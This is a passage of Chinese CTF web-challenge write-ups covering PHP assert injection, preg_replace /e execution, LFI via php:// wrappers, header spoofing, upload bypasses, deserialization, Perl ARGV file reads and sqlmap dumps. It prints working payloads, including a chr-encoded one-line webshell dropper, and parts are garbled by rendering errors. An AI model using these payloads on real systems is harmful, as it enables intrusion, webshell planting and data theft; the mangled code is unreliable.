传入’.system(“ls”).’,如此代码就变为了$file=templates/’.system("ls).’
.system("ls).
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
解题2
在这里插入图片描述

$file = “templates/” . p a g e . " . p h p " ; a s s e r t ( " s t r p o s ( ′ page . ".php"; assert("strpos(' page.".php";assert("strpos(file’, ‘…’)
=== false")

?page=abc’) or system(“cat templates/flag.php”);//

$file = “templates/?page=abc’) or system(“cat
templates/flag.php”);//.php”;

assert(“strpos(‘templates/?page=abc’) or system(“cat
templates/flag.php”);//.php’, ‘…’) === false”) or die(“Detected
hacking attempt!”);

解题3(函数二)
assert(“file_exists(’$file’)”) or die(“That file doesn’t exist!”)

assert(“file_exists(’’) or system(“cat templates/flag.php”);//’)”) or die(“That file doesn’t exist!”)

在这里插入图片描述
http://111.200.241.244:54111/?page=’) or system(“ls”);//
在这里插入图片描述
http://111.200.241.244:54111/?page=’) or system(“ls templates”);//
在这里插入图片描述
http://111.200.241.244:54111/?page=’) or system(“cat templates/flag.php”);//
在这里插入图片描述

解题4(函数一)

assert — 检查一个断言是否为 FALSE,如果是false,返回1,否则返回0
,既然file和我们的输入有关,而且又在strops函数之中,来个闭合绕过: 构造 about.php’, ‘123’) ===
false and system(‘cat templates/flag.php’) and
strpos('templates/flag,这样就可以看到flag.php的内容了,urlencode之后传参:
/?page=about.php%27%2c+%27123%27)+%3d%3d%3d+false+and+system(%27cat+templates%2fflag.php%27)+and+strpos(%27templates%2fflag

16. Cat(四星+Django漏洞)

原理
• php cURL CURLOPT_SAFE_UPLOAD
• django DEBUG mode
• o使用的是gbk编码,超过%F7的编码不在gbk中有意义
• 当 CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容。
• 一般在setteing里面设置。
解题步骤:
输入发现很多字符已经过滤掉了,
在这里插入图片描述
发现127.0.0.1没有过滤掉。

在这里插入图片描述
然后用字典看看哪些过滤和不过滤。
在这里插入图片描述
反向宽字符没有过滤,并且报错,这里这里是解题的关键。
在这里插入图片描述
看到html。然后收到自己再创建打开看看
在这里插入图片描述
出现报错信息,是一段html代码,将这些代码复制出来打开。

在这里插入图片描述
在这里插入图片描述

意思是可以用@读取文件内容。
结合django的报错得知了项目的绝对路径为/opt/api
api
在这里插入图片描述

这里还需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

在这里插入图片描述

同上将报错信息已html文件打开,可看到一些敏感信息:

在这里插入图片描述
同样在使用@读取数据库信息

在这里插入图片描述
在报错信息中搜索CTF得到flag。

以上就是这道题的解法,我只能说大佬们的思路真野
在这里插入图片描述

前面这个A是多余的。

19. ics-05(文件包含 | preg_replace()函数 -> /e漏洞 | 头文件伪造->X-Forwarded-For)

总结

(1)利用php内置filter协议读取文件的代码
(2)伪造IP x-forward-for
(3)preg_replace()函数的/e漏洞
(4)正确的php system()函数的书写

1.LFI来查看源码(漏洞)

通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码

发现地址后面的参数直接使用的文件包含。 ?file=show.php
为了查看index.php的源文件, 可以使用下面的命令:
rlfi.php ?language=php://filter/read=convert.base64-encode/resource=index.php
这样就得到了 index.php的base64加密后的值,解密即可。

https://blog.csdn.net/qq_29419013/article/details/81201494 解密的源码在这里

PHP LFI读php文件源码以及直接post webshell

假设如下一个场景
(1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞)
(2) 但是你没有地方可以upload你的webshell代码
(3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花)
(4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去
【现在的问题是】 LFI如何读取到php文件的源码?
于是给大家做个演示 如果我正常用LFI去读/sqli/db.php文件 是无法读取它的源码 它会被当做php文件被执行

http://vulnerable/fileincl/example1.php?page=…/sqli/db.php
解题步骤

在这里插入图片描述
在这里插入图片描述
看上去好像很厉害的样子…… 但是 =_,=||~ 再继续看下文~
******************* 我是邪恶的分割线 *******************
被 @扣子牛 bs了一番 又学到新的小技巧
【技巧】php://input 和 data:
php://input详情可以参考
http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html
【条件】在allow_url_include = On 且 PHP >= 5.2.0
【优势】直接POST php代码并执行

【鸡肋】在allow_url_include = On 传说中就可以直接RFI了 不过没有vps的童鞋可以这样玩比较方便
在上面提到的同一个LFI漏洞点 我们又要来爆它一次菊花
http://vulnerable/fileincl/example1.php?page=intro.php
访问如下URL并用burp直接修改HTTP包 追加php命令代码

在这里插入图片描述

http://vulnerable/fileincl/example1.php?page=php://input

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
(2)伪造IP x-forward-for

P伪造
TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造
XFF字段
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:

X-Forwarded-For: client1, proxy1, proxy2, proxy3

左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)
伪造方式
1:通过firefox插件x-forwarded-for直接改造
2:用burp抓包,发送到repeater模块进行增加,修改(ps:referer也可以修改
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。)

在这里插入图片描述
3:在repeater模块中的Header中修改
在这里插入图片描述
解题步骤

在这里插入图片描述
根据题目提示选择设备维护中心,或者简单粗暴的全都点一遍,发现也只有设备维护中心能点开
打开后 F12 调网页源码 查看后发现
在这里插入图片描述

?page=index 有page这个get参数
自然联想到可能存在利用文件包含读取网页源码的漏洞
这里给出利用php内置filter协议读取文件的代码
?page=php://filter/read=convert.base64-encode/resource=index.php
利用网页中自带的page传参漏洞?page=
代码的后半段参考另一个博主对于LFI读取php源码的解释
点这查看解释
查看网页得到base64加密后的代码

放到base64解密里得到php代码

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

isset函数是检测变量是否设置。
格式:bool isset ( mixed var [, mixed var [, …]] )
返回值:
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。
PHP preg_replace() 函数

reg_replace 函数执行一个正则表达式的搜索和替换。

语法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
• $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
• $replacement: 用于替换的字符串或字符串数组。
• $subject: 要搜索替换的目标字符串或字符串数组。
• $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
• $count: 可选,为替换执行的次数。

返回值

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

在这里插入图片描述
代码审计得

(1)需要在html的头格式中伪造 IP : 127.0.0.1
在这里插入图片描述
出现 Welcome My Admin! 证明伪造成功

(2)preg_replace()函数的/e+防御

不过从php5.50 后/e 修饰符已经被弃用了。而7.0.0 不再支持 /e修饰符。PHP 5.5.0 起, 传入 “e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “e” 也无法起效。
php5.5以后的版本要用的话请用 preg_replace_callback() 代替。

https://www.cnblogs.com/mengdejun/p/3926704.html 完整的解释了这个漏洞
http://www.xinyueseo.com/websecurity/158.html (如何防御)

防御手段:php5.5以后的版本要用的话请用 preg_replace_callback() 代替。

漏洞的解释

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e 修饰符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

<?php preg_replace ("/(

这将使输入字符串中的所有 HTML 标记变成大写。
安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? echo preg_replace("/test/e",$_GET["subject"],"jutst test"); ?>

如果我们提交?subject=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?subject=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).
chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).
chr(97). chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).
chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).
chr(60). chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).
chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).
chr(91). chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).
chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
再来一个有深度的例子:

<? function test($str){} echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["subject"]); ?>

提交 ?subject=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?subject=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{KaTeX parse error: Expected 'EOF', got '}' at position 3: {}}̲构造出了一个特殊的变量,'te…{phpinfo()}}")’,达到让函数被执行的效果(KaTeX parse error: Expected '}', got 'EOF' at end of input: …做如下测试: echo "{{phpinfo()}}";
phpinfo会被成功执行了。

如何防范这种漏洞呢?
将’test("\1")’ 修改为"test(’\1’)",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

解题步骤2
在这里插入图片描述

后面就是利用这个漏洞去进行文件读取,找到关于flag的线索

第一步尝试使用 system(“ls”) 获取文件目录
在这里插入图片描述
成功读取文件目录,同时发现目录下的 s3chahahaDir 文件的名字很可疑
想到进入该文件中查看内容

第二步 cd 到 s3chahahaDir 这个文件夹下查看内容
cd命令为 system(“cd%20s3chahahaDir%26%26%20ls”)
解释一下,%20代表空格,%26%26就是&&代表当前面命令执行成功时,继续执行后面的命令,读取s3chahahaDir文件夹内容。于是有

在这里插入图片描述
发现flag文件,猜想大概率正确
再使用刚刚的 cd命令 system(“cd%20s3chahahaDir/flag%26%26%20ls”)
查看flag文件的内容

在这里插入图片描述
发现flag.php
最后使用cat命令读取flag.php中的内容
命令代码:system(“cat%20s3chahahaDir/flag/flag.php”)
得到flag
在这里插入图片描述

方法2
/index.php?pat=/123/e&rep=system(“find±iname+flag”)&sub=123
”+“号在url中会被解释成空格号,这里用%20也行
用burpsuite来设置XFF头
在这里插入图片描述
继续查看 %26被url解释成&号 用来连接命令
&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)
index.php?pat=/123/e&rep=system(“cd+./s3chahahaDir/flag%26%26ls”)&sub=123
在这里插入图片描述
最后的payload
index.php?pat=/123/e&rep=system(“cat+./s3chahahaDir/flag/flag.php”)&sub=123

在这里插入图片描述
在这里插入图片描述
有时候伪造需要放中间才能伪造出来,不一定出结构。
我之前放了下面没有反应,然后我把伪造放在了中间才能识别到了。

19.1关于文件包含所有总结

本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法。 我们都知道LFI漏洞允许用户通过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示。通过它我以四种不同的方式执行LFI攻击。
0x01 基本本地文件包含#

在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack。

20.CTF-lottery[git文件泄露利用+PHP弱类型]

里面有时候不能抓包。有JS问题。
在这里插入图片描述

<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
	die(json_encode($resp));
}

function response_error($msg){
	$result = ['status'=>'error'];
	$result['msg'] = $msg;
	response($result);
}

function require_keys($req, $keys){
	foreach ($keys as $key) {
		if(!array_key_exists($key, $req)){
			response_error('invalid request');
		}
	}
}

function require_registered(){
	if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
		response_error('register first');
	}
}

function require_min_money($min_money){
	if(!isset($_SESSION['money'])){
		response_error('register first');
	}
	$money = $_SESSION['money'];
	if($money < 0){
		$_SESSION = array();
		session_destroy();
		response_error('invalid negative money');
	}
	if($money < $min_money){
		response_error('you don\' have enough money');
	}
}


if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
	response_error('please post json data');
}

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
	response_error('invalid json');
}

require_keys($data, ['action']);

// my boss told me to use cryptographically secure algorithm 
function random_num(){
	do {
		$byte = openssl_random_pseudo_bytes(10, $cstrong);
		$num = ord($byte);
	} while ($num >= 250);

	if(!$cstrong){
		response_error('server need be checked, tell admin');
	}
	
	$num /= 25;
	return strval(floor($num));
}

function random_win_nums(){
	$result = '';
	for($i=0; $i<7; $i++){
		$result .= random_num();
	}
	return $result;
}


function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

function flag($req){
	global $flag;
	global $flag_price;

	require_registered();
	$money = $_SESSION['money'];
	if($money < $flag_price){
		response_error('you don\' have enough money');
	} else {
		$money -= $flag_price;
		$_SESSION['money'] = $money;
		$msg = 'Here is your flag: ' . $flag;
		response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
	}
}

function register($req){
	$name = $req['name'];
	$_SESSION['name'] = $name;
	$_SESSION['money'] = 20;

	response(['status'=>'ok']);
}


switch ($data['action']) {
	case 'buy':
		require_keys($data, ['numbers']);
		buy($data);
		break;

	case 'flag':
		flag($data);
		break;

	case 'register':
		require_keys($data, ['name']);
		register($data);
		break;
	
	default:
		response_error('invalid request');
		break;
}

原理

==符合------任何数字都是等于true
在这里插入图片描述
解题
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
就是上面的这个原理,所有的数字都等于true

24. bug(五星)(漏洞挖掘 + 伪造本地IP + 文件上传漏洞 (黑名单过滤+文件头检测))

在这里插入图片描述

解题步骤

先随便是一个账号不存在

在这里插入图片描述
然后再试试admin,存在但是密码错误,
题目说了找密码,我们爆破一下简单密码字典看看
在这里插入图片描述
爆破密码(没有结果)
我注册一个普通账号去没有结果
并且修改了密码也没有得到想要的结果。

在这里插入图片描述

尝试用字典对 日期进行爆破 ,未果…… (可能是字典太短)
用自己的 username 和 birthday 登进去之后 ,填入 newpassword 后抓包, 把username 改为 admin
居然能成功:

在这里插入图片描述
然后用 admin 登录 ,访问 manager 功能时 显示 IP Not allowed!
在这里插入图片描述
在源码中看到 ?module=filemanage&do=???
文件管理肯定是do=upload了
访问 ?module=filemanage&do=upload

经过一番尝试之后 发现 这里进行了 黑名单 过滤 并且还检查了 文件头的内容
所以不能以<?php开头,可以用来进行绕过,先以jpg后缀上传,抓包改后缀为php5或php4,即可看到flag。
在这里插入图片描述

25.Nizhuansiwei(两星+文件包含(伪协议)+反序列化)

<?php   
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //第一次过滤
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
    if(preg_match("/flag/",$file)){   //第二层过滤
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password);   //这里需要做一个反序列
        echo $password; 
    } 
} 
else{ 
    highlight_file(__FILE__); 
} 
?>
从上面,可以看到三层的过滤

函数解释

file_get_contents()
在这里插入图片描述
在这里插入图片描述
[ZJCTF 2019]NiZhuanSiWei
题目:buu上的web题目,链接
解题过程:
第一层绕过:
第二层绕过:
第三层绕过:
最终的payload:
相关链接:

题目:这个题目跟文件包含漏洞关联很大,通过这个题目,再巩固一下文件包含漏洞。
在这里插入图片描述

解题过程:
打开题目后,代码审计

1.	 <?php  
2.	$text = $_GET["text"];
3.	$file = $_GET["file"];
4.	$password = $_GET["password"];
5.	if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
6.	    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
7.	    if(preg_match("/flag/",$file)){
8.	        echo "Not now!";
9.	        exit(); 
10.	    }else{
11.	        include($file);  //useless.php
12.	        $password = unserialize($password);
13.	        echo $password;
14.	    }
15.	}
16.	else{
17.	    highlight_file(__FILE__);
18.	}
19.	?> 

第一层绕过:
if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 6: text)&̲&(file_get_cont…text,‘r’)===“welcome to the zjctf”))
要求我们传入一个text文件,内容为welcome to the zjctf,才能继续后面的步骤
先了解一下file_get_contents()函数,函数内容来源于网络

在这里插入图片描述
可以用php://input伪协议以POST传参’welcome to the zjctf ’

也可以将文件内容通过data伪协议写进去,然后让**file_get_contents()**函数进行读取,payload如下
?text=data://text/plain,welcome to the zjctf
当然,保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传,不然可能会过滤(不过本题没有过滤)
在这里插入图片描述

编码后的传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
回显:

在这里插入图片描述
第二层绕过:

 if(preg_match("/flag/",$file)){
2.	        echo "Not now!";
3.	        exit(); 
4.	    }else{
5.	        include($file);  //useless.php
6.	        $password = unserialize($password);
7.	        echo $password;
8.	    }

正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

回显:
在这里插入图片描述
第三层绕过:

将base64编码进行解码:

1.	<?php  
2.	 
3.	class Flag{  //flag.php  
4.	    public $file;  
5.	    public function __tostring(){  
6.	        if(isset($this->file)){  
7.	            echo file_get_contents($this->file); 
8.	            echo "<br>";
9.	        return ("U R SO CLOSE !///COME ON PLZ");
10.	        }  
11.	    }  
12.	}  
13.	?>  

在本地进行序列化操作,

1.	<?php
2.	 
3.	class Flag{  //flag.php  
4.	    public $file="flag.php";  
5.	    public function __tostring(){  
6.	        if(isset($this->file)){  
7.	            echo file_get_contents($this->file); 
8.	            echo "<br>";
9.	        return ("U R SO CLOSE !///COME ON PLZ");
10.	        }  
11.	    }  
12.	}  
13.	$a=new Flag();
14.	echo seria*lize($a);
15.	?>

序列化之后:

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

最终的payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

回显:
在这里插入图片描述

查看f12得到flag.
在这里插入图片描述

参考
https://www.cnblogs.com/guoqingsentou/p/13695449.html 新的

26.ics-07(弱类型+文件上传(linux特性绕过)

在这里插入图片描述
右键查有用的的源码

源码一
<?php
     if ($_SESSION['admin']) {  #利用Session变量存储信息:$_SESSION["Session名称"]=变量或字符串信息;
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');  #更换了目录了后面解释
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>
源码二
   <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }
    
      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

知识点
源码2

if (isset(KaTeX parse error: Expected 'EOF', got '&' at position 11: _GET[id]) &̲& floatval(_GET[id]) !== ‘1’ &&substr($_GET[id], -1) === ‘9’)

!== 这个是不完全等于,意思比如 int(1)!==’1’,说明int的1不完全等于字符的1.但是还是等于一点点,如何2就是完全不等于,返回就是false。

floatval() 函数是将变量转化为 浮点数 比如 floatval(‘123asd’) = 123 这里的 123 是
float数据 而题中 的 floatval( G E T [ i d ] ) ! = = ′ 1 ′ 这 里 用 的 是 严 格 的 比 较 , 把 一 个 f l o a t 型 数 据 和 字 符 串 1 进 行 比 较 , 所 以 这 里 恒 成 立 的 s u b s t r ( _GET[id]) !== '1' 这里用 的是 严格的比较,把一个 float 型数据和 字符串 1 进行比较,所以这里恒成立的 substr( GET[id])!==1float1substr(_GET[id], -1) === ‘9’ 是要求id
的最后一个字符为 9 mysql_real_escape_string( )函数 会 在 单引号 前加 \ ,依次来防止sql注入 这里
只要 能从数据库中查到数据 就会 使 $_SESSION[‘admin’] = True;
这里不是不能注入,只是注入比较麻烦,可以尝试一下宽字节注入,绕过mysql_real_escape_string( )
(做完之后试了一下,宽字节注入不行,可以的前提是用的gbk) 这里 特意提到了 1 我估计 这个表里只有一个条数据,而他的索引就是
1(后面也证实了这一点) 所以 可以构造 id=1as9

preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, $filename)
源码1 正则匹配

  • 匹配前面的子表达式一次或多次。例如,‘zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。 \ 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, ‘n’ 匹配字符 ‘n’。’\n’ 匹配换行符。序列
    ‘\’ 匹配 “”,而 ‘(’ 则匹配 “(”。
    ? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 ?。 . 匹配除换行符 \n 之外的任何单字符。要匹配
    . ,请使用 . 。
}else{
            chdir('uploaded');  #换一个
           $f = fopen($filename, 'w');
           fwrite($f, $con);//f是目录, con是要写的内容
           fclose($f);
       }
     }
     ?>

读过这段代码,可以知道能够上传一句话 木马 特别注意后面 chdir(uploaded)切换了目录,我们上传的文件是传到了
uploaded/backup文件夹里了 这里用黑名单来过滤文件的后缀名,可以利用 linux的文件夹特性绕过
linux中创建文件夹的时候会默认创建两个 隐藏文件 . 和 … . 代表当前目录 ; … 代表当前目录的父目录 这里访问
./123.php/456.php/… 代表访问456.php的父母录 123.php 因此 这里构造 post数据可以有多种方式
,绕过 黑名单的过滤对filename的过滤 比如 : file=…/123.php/. 代表访问父母录 中的
123.php,也就是 uploaded/123.php file=./123.php/. 代表访问当前目录中的123.php , 也就是 uploaded/backup/123.php 这两种都可以,区别就是在使用菜刀连接 使用第一种:构造post数据:

在这里插入图片描述

解法2
在这里插入图片描述
在这里插入图片描述

27. wtf.sh-150(perl网页文件+ARGV上传造成任意文件读取)

总结:perl文件遇到上传可配合ARGV文件使用造成任意文件读取,然后任意文件读取可利用bash

知识点
这里根据网址猜测file.pl位于/var/www/cgi-bin/目录下,返回结果如下:

打开url发现有三个链接,点进去都是.pl文件,且只有files可以上传文件。
.pl文件都是用perl编写的网页文件
这里上传了又将文件的内容全部打印出来,那么猜想后台应该用了param()函数。
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:
这里附上网上大佬们猜测的后台代码:

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
}

ARGV(是C里面,参数+变量)

解题步骤
看源码
在这里插入图片描述

第二个只能看到
在这里插入图片描述
第三个

在这里插入图片描述
这里上传一句话木马没有任何东西。

bp进行抓包,将上传的文件类型及文件内容处复制再粘贴一行,将filename去掉,然后内容填入ARGV
-----------------------------97785834032332378423013748533
Content-Disposition: form-data; name=“file”;"
Content-Type: application/octet-stream
ARGV

方式一。经验足
在这里插入图片描述

方式2
或者直接先读取file.pl文件,盲猜在/var/www/cgi-bin/file.pl或者/var/www/cgi-bin/file.pl两个拿去试
在这里插入图片描述
在这里插入图片描述
和前面猜想的一样
基本上和推测的一致.接着我们利用bash来读取:

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|

/cgi-bin/file.pl?/bin/bash -c ls I F S / ∣ ! [ 在 这 里 插 入 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / 2021050317100726. p n g ? x − o s s − p r o c e s s = i m a g e / w a t e r m a r k , t y p e Z m F u Z 3 p o Z W 5 n a G V p d G k , s h a d o w 1 0 , t e x t a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 3 F x X z Q w N D c 3 M j k w , s i z e 1 6 , c o l o r F F F F F F , t 7 0 ) / b i n / b a s h {IFS}/| ![在这里插入图片描述](https://img-blog.csdnimg.cn/2021050317100726.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwNDc3Mjkw,size_16,color_FFFFFF,t_70) /bin/bash%20-c%20cat IFS/![](https://imgblog.csdnimg.cn/2021050317100726.png?xossprocess=image/watermark,typeZmFuZ3poZW5naGVpdGk,shadow10,textaHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwNDc3Mjkw,size16,colorFFFFFF,t70)/bin/bash{IFS}/flag|

/bin/bash -c cat${IFS}/flag| 显示flag来这样可以

在这里插入图片描述

SQL注入---------------------------------------

SQL注入需要学习的很多,信息很容易放弃。这里我推荐几个介绍。

6. NewsCenter

两种解题的思路通过自己BP抓包后,sqlmap post或者使用受到union来爆破

使用工具

首先利用bp抓包post 复制保存为 1.txt然后使用攻击来跑
python sqlmap.py -r 1.txt –dbs
在这里插入图片描述
sqlmap -r xctfrequest.txt -D news --tables
sqlmap -r xctfrequest.txt -D news -T secret_table --columns
sqlmap -r xctfrequest.txt -D news -T secret_table -C “id,fl4g” –dump

在这里插入图片描述
当然你也可以一次性把new数据库内的内容全部爆出来,这样就不用一步步找flag在哪了,直接了当,所以对于有目的,好寻找的我们可以使用第一种步步深入;如果比较难找,就第二种方法比较好。

在这里插入图片描述

sqlmap的笔记,
qlmap -u “注入地址” --dbs // 列举数据库 sqlmap -u “注入地址” --tables
-D “数据库” // 列举数据库的表名 sqlmap -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名 sqlmap -u “注入地址” --dump -C “字段,字段” -T “表名” -D “数据库” //
获取表中的所有数据

sqlmap -r “含http头的文件” --dbs // 列举数据库 sqlmap -r
“含http头的文件” --tables -D “数据库” // 列举数据库的表名 sqlmap -r “含http头的文件”
–columns -T “表名” -D “数据库” // 获取表的列名 sqlmap -r “含http头的文件” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据

  1. Sqlmap -u url --dbs 显示数据库管理系统中所有数据库
    2.Sqlmap -u url --current -db 当前网站所使用得数据库
    3.Sqlmap -u url -D 数据库名 --tables 显示当前数据库中所有数据表
    4.Sqlmap -u url -D 数据库名 -T 表名 --columns 显示表中所有得字段名
    5.Sqlmap -u url -D 数据库名 -T 表名 -C 字段名,字段名,字段名…(互相用逗号隔开) --dump 显示数据

真实CTF不可能用攻击来跑,基本都是手工注入。
手工注入方式
知识背景

在这里插入图片描述
如何判断sql注入点
1,搜索框或URL尾端加 ’ 如果报错则可能存在sql注入漏洞
